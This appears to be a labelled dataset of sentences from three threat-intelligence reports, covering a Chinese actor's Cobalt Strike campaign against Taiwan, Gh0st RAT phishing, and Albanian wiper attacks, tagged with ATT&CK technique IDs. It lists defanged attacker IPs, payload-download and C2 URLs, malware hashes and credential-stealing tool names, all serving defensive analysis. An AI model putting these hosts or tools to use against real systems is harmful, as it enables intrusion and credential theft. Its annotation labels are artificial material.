{"sentence": "Although the majority of activity was directed at Taiwanese government entities, researchers also observed other separate target lists containing IP addresses and domains associated to government websites from Egypt, Malaysia, Dominican Republic and the UAE also targeted recently by this threat actor.", "labels": [], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"}
{"sentence": "Figure 16 – Reconnaissance against Malaysian and Egyptian government entities.", "labels": [], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"}
{"sentence": "The reconnaissance against Malaysian and Egyptian government entities was carried out using a generic Python script that contained an author comment section with the handle \"mwxiaojia.\"", "labels": [], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"}
{"sentence": "However, there is no distinct evidence to conclusively attribute the cyber operations to an individual using that persona.", "labels": [], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"}
{"sentence": "Attribution EclecticIQ analysts assess with moderate confidence that the infrastructure was operated by a Chinese threat actor.", "labels": [], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"}
{"sentence": "Analysts identified the following findings supporting the assessment: The modified version of Cobalt Strike event logs obtained from the threat actor infrastructure revealed additional IP addresses that very likely belong to the attacker and metadata that very likely show the origin of the attacker.", "labels": [], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"}
{"sentence": "File and folder names, file content and comments in threat actor tools were written in Mandarin.", "labels": [], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"}
{"sentence": "The timezone of attacker virtual sandbox 103[.]156[.]184[.]83 is in the UTC+08:00 timezone.", "labels": [], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"}
{"sentence": "This time zone is used in all predominantly Chinese-speaking regions.", "labels": [], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"}
{"sentence": "Every successful login attempt made by the attacker using the default Cobalt Strike username 'neo' to access the command-and-control server was logged, along with the attacker's IP address.", "labels": [], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"}
{"sentence": "EclecticIQ researchers observed that the threat actor used private proxy addresses from a Chinese underground proxy IP solution called 'Tigercloud Club' to conceal their real IP address.", "labels": ["T1090"], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"}
{"sentence": "Some of tools used by the actor are exclusively available in Chinese underground forums.", "labels": [], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"}
{"sentence": "The identified adversary TTPs overlap with a previously known Chinese APT group called Budworm [20].", "labels": [], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"}
{"sentence": "Cobalt Strike Cat event logs: Figure 17 – Event logs from Cobalt Strike Cat showing details about victim and threat actor.", "labels": [], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"}
{"sentence": "Figure 18 – Event logs from Cobalt Strike Cat showing details about the testing sandbox used by the threat actor.", "labels": [], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"}
{"sentence": "Mitigation and Prevention Strategies One of the main initial access vector is exploitation of publicly exposed web services.", "labels": ["T1190"], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"}
{"sentence": "EclecticIQ researchers recommend limiting the remote access of publicly available web services and consistently monitoring and installing available patches.", "labels": [], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"}
{"sentence": "Reconnaissance attempts on publicly exposed web services can be detected and stopped using a combination of techniques, such as: • Log analysis:", "labels": [], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"}
{"sentence": "Monitoring and analyzing logs generated by the web server can help identify abnormal traffic patterns, such as repeated attempts to access a specific resource or an unusually high volume of requests from a single IP address.• Network traffic analysis: Network traffic analysis can help identify traffic that is not legitimate or is attempting to scan the network or web services.• Intrusion detection systems: Deploying an intrusion detection system (IDS) can help identify and alert administrators to malicious activities such as port scans or network sweeps.• Web application firewalls: Web application firewalls (WAF) can be used to protect web services from reconnaissance attempts by blocking or limiting access to resources and detecting and blocking known malicious patterns in web traffic.", "labels": [], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"}
{"sentence": "The threat actor used a variation of Cobalt Strike as a command and control (C2) server to send malicious commands into infected computers.", "labels": [], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"}
{"sentence": "Some tips to help prevent such C2 connection attempts: • Monitor network traffic:", "labels": [], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"}
{"sentence": "Monitor network traffic regularly to detect unusual activities or traffic patterns that may indicate C&C connections.• Deploy firewalls:", "labels": [], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"}
{"sentence": "Deploy firewalls to block traffic from known C&C domains or IP addresses.", "labels": [], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"}
{"sentence": "The threat actor installed a second stage persistence backdoor on infected device by abusing Windows Services.", "labels": ["T1543.003"], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"}
{"sentence": "The actor then tried to dump User Account credentials via SAM database and attempted to access saved browser credentials.", "labels": [], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"}
{"sentence": "There are several ways to use Windows Group Policy to avoid these kinds of post exploitation attempts: •", "labels": [], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"}
{"sentence": "Disable the \"Create global objects\" user right:", "labels": [], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"}
{"sentence": "This user right allows non-administrative users to create global objects, including services.", "labels": [], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"}
{"sentence": "By disabling this user right, you can prevent non-administrative users from creating services.• Restrict access to the Security Accounts Manager (SAM) file: The SAM file contains sensitive information, including user account passwords.", "labels": [], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"}
{"sentence": "By default, only the SYSTEM account has access to the SAM file.", "labels": [], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"}
{"sentence": "However, an attacker who gains administrative access to the system can potentially dump the SAM file and extract password hashes.", "labels": [], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"}
{"sentence": "Restrict access to the SAM file, you can use the \"Deny access to this computer from the network\" user right.", "labels": [], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"}
{"sentence": "By denying network access to the system, you can prevent attackers from using network-based attacks to dump the SAM file.• Disable password saving in web browser using Group Policy.", "labels": [], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"}
{"sentence": "Indicators Command and Control server – Exposed web server: • 156[.]251[.]172[.]194Threat Actor IPs based on Cobalt Strike Cat event logs (very likely proxy address): •", "labels": [], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"}
{"sentence": "193[.]233[.]204[.]73•", "labels": [], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"}
{"sentence": "103[.]156[.]184[.]89• 172[.]104[.]53[.]19• 103[.]156[.]184[.]83• 192[.]46[.]227[.]146• 140[.]99[.]149[.]35• 172[.]104[.]191[.]194Testing labs used by threat actor for planning the attack chain before executing on real victim device:• 172[.]105[.]117[.]179• 103[.]156[.]184[.]83Web service used to obtain bulk Proxy IP address from TigerCloud Club: • hxxp[://]38[.]54[.]50[.]246:10001 (https://gist.github.com/whichbuffer/250e36cd24357460fd2b1653091a3e9f)MD5 Hash:• d0139fda662f3ca949dd335c30573fa2 modify.exe •", "labels": [], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"}
{"sentence": "996c3eb5c21a20dd13b7ceee6c80b673 f3p.exe • 825c126e8547fbb01ff21d2100343bd2 run.ini • 73255c8357afd671c2256360d0be69cd lazagne.exe • c72e18c26307bc50d4936c0f5f0df36b svchost.exe (modified Cobalt Strike)• b7b1d390baaf579925ec6a33b6beeec8 hack-browser-data.exe • 03f45692db10fe291de65f15ca9761af frpcx.exe • a284c8b14e4be0e2e561e5ff64e82dc7 fscan.exe • 0b9e8fca5dc4775964492d7d333da25d svchost.exe (modified Cobalt Strike) MITRE ATT&CK Exploit Public-Facing Application – T1190 Exfiltration Over C2 Channel - T1041 OS Credential Dumping: Security Account Manager - T1003.002 OS Credential Dumping: LSASS Memory - T1003.001", "labels": [], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"}
{"sentence": "Proxy: Internal Proxy - T1090.001 Brute Force - T1110 Active Scanning:", "labels": [], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"}
{"sentence": "Scanning IP Blocks - T1595.001 Credentials from Password Stores: Credentials from Web Browsers - T1555.003 Create or Modify System Process: Windows Service - T1543.003 Remote Services: Windows Remote Management - T1021.006 Active Scanning: Vulnerability Scanning - T1595.002 System Network Configuration Discovery - T1016 About EclecticIQ Intelligence & Research Team EclecticIQ is a global provider of threat intelligence, hunting, and response technology and services.", "labels": [], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"}
{"sentence": "Headquartered in Amsterdam, the EclecticIQ Intelligence & Research Team is made up of experts from Europe and the U.S. with decades of experience in cyber security and intelligence in industry and government.", "labels": [], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"}
{"sentence": "We would love to hear from you.", "labels": [], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"}
{"sentence": "Please send us your feedback by emailing us at research@eclecticiq.com.", "labels": [], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"}
{"sentence": "You might also be interested in: Russian Malware Network Dismantled; Iranian Threat Actors Attack PaperCut Servers Polish Healthcare Industry Targeted by Vidar Infostealer Likely Linked to Djvu Ransomware Introducing EclecticIQ Intelligence Center 3.0 References [1] “TryGOTry/CobaltStrike_Cat_4.5:", "labels": [], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"}
{"sentence": "猫猫Cs:基于Cobalt Strike[4.5]二开 (原dogcs二开移植).”", "labels": [], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"}
{"sentence": "https://github.com/TryGOTry/CobaltStrike_Cat_4.5 (accessed Apr. 25, 2023).", "labels": [], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"}
{"sentence": "[2] zan8in, “afrog.”", "labels": [], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"}
{"sentence": "Apr. 28, 2023.", "labels": [], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"}
{"sentence": "[Online].", "labels": [], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"}
{"sentence": "Available: https://github.com/zan8in/afrog (accessed: Apr. 28, 2023).", "labels": [], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"}
{"sentence": "[3] “cIPR/cmd/cIPR at main · canc3s/cIPR,” GitHub.", "labels": [], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"}
{"sentence": "https://github.com/canc3s/cIPR (accessed Apr. 28, 2023).", "labels": [], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"}
{"sentence": "[4] “L-codes/Neo-reGeorg: Neo-reGeorg is a project that seeks to aggressively refactor reGeorg.”", "labels": [], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"}
{"sentence": "https://github.com/L-codes/Neo-reGeorg/tree/master (accessed Apr. 28, 2023).", "labels": [], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"}
{"sentence": "[5] “projectdiscovery/nuclei: Fast and customizable vulnerability scanner based on simple YAML based DSL.”", "labels": [], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"}
{"sentence": "https://github.com/projectdiscovery/nuclei (accessed Apr. 28, 2023).", "labels": [], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"}
{"sentence": "[6] J. Ling, “OneForAll.”", "labels": [], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"}
{"sentence": "Apr. 26, 2023.", "labels": [], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"}
{"sentence": "Available: https://github.com/shmilylty/OneForAll (accessed: Apr. 26, 2023).", "labels": [], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"}
{"sentence": "[7] 影舞者, “fscan.”", "labels": [], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"}
{"sentence": "Available: https://github.com/shadow1ng/fscan (accessed: Apr. 28, 2023).", "labels": [], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"}
{"sentence": "[8] AlessandroZ, “The LaZagne Project !!!”", "labels": [], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"}
{"sentence": "Available: https://github.com/AlessandroZ/LaZagne (accessed: Apr. 28, 2023).", "labels": [], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"}
{"sentence": "[9] “SharpCheckInfo/README.md at master · uknowsec/SharpCheckInfo,” GitHub.", "labels": [], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"}
{"sentence": "https://github.com/uknowsec/SharpCheckInfo (accessed Apr. 28, 2023).", "labels": [], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"}
{"sentence": "[10] ᴍᴏᴏɴD4ʀᴋ, “HackBrowserData.”", "labels": [], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"}
{"sentence": "Available: https://github.com/moonD4rk/HackBrowserData (accessed: Apr. 28, 2023).", "labels": [], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"}
{"sentence": "[11] fatedier, “frp.”", "labels": [], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"}
{"sentence": "Available: https://github.com/fatedier/frp (accessed: Apr. 28, 2023).", "labels": [], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"}
{"sentence": "[12] 雨苁, “ONE-FOX渗透测试集成工具箱_V1.0魔改版 by狐狸,” :Japanese_symbol_for_beginner:雨苁ℒ:Japanese_symbol_for_beginner:, Aug. 22, 2022.", "labels": [], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"}
{"sentence": "https://www.ddosi.org/one-fox/ (accessed Apr. 28, 2023).", "labels": [], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"}
{"sentence": "[13] “NVD - CVE-2023-21839.”", "labels": [], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"}
{"sentence": "https://nvd.nist.gov/vuln/detail/CVE-2023-21839 (accessed Apr. 28, 2023).", "labels": [], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"}
{"sentence": "[14] “NVD - CVE-2021-3129.”", "labels": [], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"}
{"sentence": "https://nvd.nist.gov/vuln/detail/CVE-2021-3129 (accessed Apr. 28, 2023).", "labels": [], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"}
{"sentence": "[15] “NVD - CVE-2020-2551.”", "labels": [], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"}
{"sentence": "https://nvd.nist.gov/vuln/detail/CVE-2020-2551 (accessed Apr. 28, 2023).", "labels": [], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"}
{"sentence": "[16] “NVD - CVE-2021-44228.”", "labels": [], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"}
{"sentence": "https://nvd.nist.gov/vuln/detail/CVE-2021-44228 (accessed Apr. 28, 2023).", "labels": [], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"}
{"sentence": "[17] “NVD - CVE-2022-39197.”", "labels": [], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"}
{"sentence": "https://nvd.nist.gov/vuln/detail/CVE-2022-39197 (accessed Apr. 28, 2023).", "labels": [], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"}
{"sentence": "[18] “SONAS 松山科技,” 開啟無接觸接待體驗與旅程, Feb. 12, 2023. /", "labels": [], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"}
{"sentence": "(accessed May 08, 2023).", "labels": [], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"}
{"sentence": "[19] “Directorate General of Highways, MOTC.” https://www.thb.gov.tw/en/ (accessed Apr. 28, 2023).", "labels": [], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"}
{"sentence": "[20] “Budworm: Espionage Group Returns to Targeting U.S. Organizations.”", "labels": [], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"}
{"sentence": "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/budworm-espionage-us-state (accessed May 08, 2023).", "labels": [], "doc_title": "Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure"}
{"sentence": "Found in Environments Protected By: Proofpoint By Nathaniel Raymond, Cofense Intelligence Gh0st RAT, a decades-old open-source remote administration tool (RAT), recently appeared in phishing campaigns targeting a healthcare organization.", "labels": [], "doc_title": "OpenSource Gh0st RAT Still Haunting Inboxes 15 Years After Release"}
{"sentence": "Gh0st", "labels": [], "doc_title": "OpenSource Gh0st RAT Still Haunting Inboxes 15 Years After Release"}
{"sentence": "Remote Administration Tool was created by a Chinese hacking group named C. Rufus Security Team that released it publicly in 2008.", "labels": [], "doc_title": "OpenSource Gh0st RAT Still Haunting Inboxes 15 Years After Release"}
{"sentence": "The public release of Gh0st RAT source code made it easy for threat actors to obtain and tailor the tool to their needs.", "labels": [], "doc_title": "OpenSource Gh0st RAT Still Haunting Inboxes 15 Years After Release"}
{"sentence": "Its feature set expanded over the years to include various surveillance, persistence, and information-stealing capabilities: Taking full control of the infected machine Recording keystrokes in real time with offline logging available Accessing live web cam feeds including microphone recording Downloading files remotely Remote shutdown and reboot Disabling user input Over Gh0st RAT’s long life, Chinese nation-state threat actors have used it to breach high-value targets such as governments, embassies, economic targets, and media.", "labels": ["T1056.001", "T1105"], "doc_title": "OpenSource Gh0st RAT Still Haunting Inboxes 15 Years After Release"}
{"sentence": "One such breach was the operation known as “GhostNet” in 2009, in which a large-scale cyber-attack used Gh0st RAT to conduct surveillance and espionage.", "labels": [], "doc_title": "OpenSource Gh0st RAT Still Haunting Inboxes 15 Years After Release"}
{"sentence": "The breach impacted the Dalai Lama’s Tibetan exile centers in multiple countries.", "labels": [], "doc_title": "OpenSource Gh0st RAT Still Haunting Inboxes 15 Years After Release"}
{"sentence": "Although Gh0st RAT was first identified in reports of threat activity almost 15 years ago, it is still actively distributed today.", "labels": [], "doc_title": "OpenSource Gh0st RAT Still Haunting Inboxes 15 Years After Release"}
{"sentence": "Cofense Intelligence identified an email targeting a European-owned medical technology organization located in China, attempting to deliver Gh0st RAT via an embedded link.", "labels": [], "doc_title": "OpenSource Gh0st RAT Still Haunting Inboxes 15 Years After Release"}
{"sentence": "The embedded link that hosted the malware was affiliated with Tencent and based in Hong Kong.", "labels": [], "doc_title": "OpenSource Gh0st RAT Still Haunting Inboxes 15 Years After Release"}
{"sentence": "The sample’s command and control (C2) server is also located on the CHINANET Jiangsu province network in the city of Nanjing.", "labels": [], "doc_title": "OpenSource Gh0st RAT Still Haunting Inboxes 15 Years After Release"}
{"sentence": "Figure 1: A screenshot of the recent phishing email used to deliver Gh0st RAT via an embedded link.", "labels": [], "doc_title": "OpenSource Gh0st RAT Still Haunting Inboxes 15 Years After Release"}
{"sentence": "Figure 2: A translation of the body of the recent Gh0st RAT campaign shows that it used an unpaid invoice as a theme.", "labels": [], "doc_title": "OpenSource Gh0st RAT Still Haunting Inboxes 15 Years After Release"}
{"sentence": "Although Ghost RAT has a history of use by nation-state threat actors, Cofense Intelligence does not have conclusive evidence that this recent campaign is associated with known nation-state activity.", "labels": [], "doc_title": "OpenSource Gh0st RAT Still Haunting Inboxes 15 Years After Release"}
{"sentence": "The activity we observed activity shares certain characteristics with some advanced persistent threat (APT) groups, including APT27, which is known for intellectual property theft against healthcare and technology companies, and is also known for the use of Gh0st RAT.", "labels": [], "doc_title": "OpenSource Gh0st RAT Still Haunting Inboxes 15 Years After Release"}
{"sentence": "However, since Gh0st RAT’s source code is publicly available, it remains plausible that any threat actor could download and modify the code for their own needs.", "labels": [], "doc_title": "OpenSource Gh0st RAT Still Haunting Inboxes 15 Years After Release"}
{"sentence": "With Chinese universities (including more than one in Nanjing) being heavily involved in training talent for the Chinese defense industry, it is also plausible that students or other threat actors that are at times associated with APT groups may be carrying out independent threat activity using tools they are familiar with.", "labels": [], "doc_title": "OpenSource Gh0st RAT Still Haunting Inboxes 15 Years After Release"}
{"sentence": "Figure 3: Details of the recent Gh0st RAT sample’s C2 server on the network information service Shodan.", "labels": [], "doc_title": "OpenSource Gh0st RAT Still Haunting Inboxes 15 Years After Release"}
{"sentence": "Indicators of Compromise Files 1680478346389.zip MD5: 9e6c45b6b8b20bf3c5959dbba8f27117 LiveUpdate360.dat MD5: f149d3f3ef0361ebe4d346811f29b527 LiveUpdate.exe MD5: 96e4b47a136910d6f588b40d872e7f9d setting.ini MD5: 91aab4bbe634be62d11d132738c23a82 SqlVersion9.dll MD5: 317f9ff06c076e87e5b1d11242396d5f ú¿╡τ-╫╙-╖ó-╞▒ú⌐.exe MD5: 4723a2a8f68c1eaf82809cff29b8e56f URLs hxxps://api[.]youkesdt[.]asia/admin/down/hash/79b7c6ed-c4d8-4b36-b1cd-f968e6570010 hxxp://datacache[.]cloudservicesdevc[.]tk/picturess/2023/SqlVersion9[.]dll hxxp://datacache[.]cloudservicesdevc[.]tk/picturess/2023/Media[.]xml hxxp://datacache[.]cloudservicesdevc[.]tk/picturess/2023/LiveUpdate360[.]dat hxxp://datacache[.]cloudservicesdevc[.]tk/picturess/2023/LiveUpdate[.]exe hxxp://datacache[.]cloudservicesdevc[.]tk/picturess/2023/223[.]114[.]txt Command and Control hxxp://61[.]160[.]223[.]114:18076 All third-party trademarks referenced by Cofense whether in logo form, name form or product form, or otherwise, remain the property of their respective holders, and use of these trademarks in no way indicates any relationship between Cofense and the holders of the trademarks.", "labels": [], "doc_title": "OpenSource Gh0st RAT Still Haunting Inboxes 15 Years After Release"}
{"sentence": "Any observations contained in this blog regarding circumvention of end point protections are based on observations at a point in time based on a specific set of system configurations.", "labels": [], "doc_title": "OpenSource Gh0st RAT Still Haunting Inboxes 15 Years After Release"}
{"sentence": "Subsequent updates or different configurations may be effective at stopping these or similar threats.", "labels": [], "doc_title": "OpenSource Gh0st RAT Still Haunting Inboxes 15 Years After Release"}
{"sentence": "Past performance is not indicative of future results.", "labels": [], "doc_title": "OpenSource Gh0st RAT Still Haunting Inboxes 15 Years After Release"}
{"sentence": "The Cofense:registered: and PhishMe:registered: names and logos, as well as any other Cofense product or service names or logos displayed on this blog are registered trademarks or trademarks of Cofense Inc.", "labels": [], "doc_title": "OpenSource Gh0st RAT Still Haunting Inboxes 15 Years After Release"}
{"sentence": "The post Open-Source Gh0st RAT Still Haunting Inboxes 15 Years After Release appeared first on Cofense.", "labels": [], "doc_title": "OpenSource Gh0st RAT Still Haunting Inboxes 15 Years After Release"}
{"sentence": "Introduction On July 17, 2022, Albanian news outlets reported a massive cyberattack that affected Albanian government e-services.", "labels": [], "doc_title": "Stolen certificates in two waves of ransomware and wiper attacks"}
{"sentence": "A few weeks later, it was revealed that the cyberattacks were part of a coordinated effort likely intended to cripple the country’s computer systems.", "labels": [], "doc_title": "Stolen certificates in two waves of ransomware and wiper attacks"}
{"sentence": "On September 10, 2022, Albanian local news reported a second wave of cyberattacks targeting Albania’s TIMS, ADAM and MEMEX systems – the latter two systems critical for law enforcement – reportedly using the same attack type and by the same actors.", "labels": [], "doc_title": "Stolen certificates in two waves of ransomware and wiper attacks"}
{"sentence": "Around the same time, we identified ransomware and wiper malware samples resembling those used in the first wave, though with a few interesting modifications that likely allowed evasion of security controls and better attack speeds.", "labels": [], "doc_title": "Stolen certificates in two waves of ransomware and wiper attacks"}
{"sentence": "Chief among those changes are the embedding of a raw disk driver, providing direct hard disk access inside the malware itself, modified metadata, and the use of Nvidia’s leaked code signing certificate to sign the malware.", "labels": [], "doc_title": "Stolen certificates in two waves of ransomware and wiper attacks"}
{"sentence": "So, what’s new in this blogpost?", "labels": [], "doc_title": "Stolen certificates in two waves of ransomware and wiper attacks"}
{"sentence": "We compare the first and second waves of ransomware and wiper malware used to target Albanian entities and detail connections with previously known ROADSWEEP ransomware and ZEROCLEARE variants.", "labels": [], "doc_title": "Stolen certificates in two waves of ransomware and wiper attacks"}
{"sentence": "The threat actors used certificates from Nvidia and Kuwait Telecommunications Company to sign their malware; the former was already leaked, but we’re not sure how they got their hands on the latter.", "labels": [], "doc_title": "Stolen certificates in two waves of ransomware and wiper attacks"}
{"sentence": "We identified potential cooperation between different attack groups speaking different languages, and the possible use of AnyDesk as an initial entry point to start the ransomware/wiper infections.", "labels": [], "doc_title": "Stolen certificates in two waves of ransomware and wiper attacks"}
{"sentence": "The changes implemented to automate and speed up wiping in the second wave of attacks are reminiscent of the notorious Shamoon wiper attacks in the Middle East.", "labels": [], "doc_title": "Stolen certificates in two waves of ransomware and wiper attacks"}
{"sentence": "Wiper and ransomware, comparing wave 1 and wave 2 Below, we compare and discuss the differences between the wave 1 and wave 2 ransomware and wiper malware.", "labels": [], "doc_title": "Stolen certificates in two waves of ransomware and wiper attacks"}
{"sentence": "Initial Infection – traces of cooperation between different attack groups and use of AnyDesk utility", "labels": [], "doc_title": "Stolen certificates in two waves of ransomware and wiper attacks"}
{"sentence": "Although we weren’t able to identify the initial entry point of the threat actor in the analyzed intrusion, a few days after the second wave wiping activities, we noticed underground chatter about someone having access to an AnyDesk account at another non-governmental but significant Albanian entity, and suggestions for Persian-speaking hackers to use it for deploying ransomware or wiper malware.", "labels": [], "doc_title": "Stolen certificates in two waves of ransomware and wiper attacks"}
{"sentence": "This may increase the likelihood that the initial entry point for wave 2 is through legitimate remote access software such as AnyDesk, especially since we know that the wave 2 wiper modifications included automatic execution upon driver installation only – potential need for urgency due to the limited time/access window.", "labels": ["T1219"], "doc_title": "Stolen certificates in two waves of ransomware and wiper attacks"}
{"sentence": "The attackers and access provider seemed to belong to different attack groups and spoke different languages.", "labels": [], "doc_title": "Stolen certificates in two waves of ransomware and wiper attacks"}
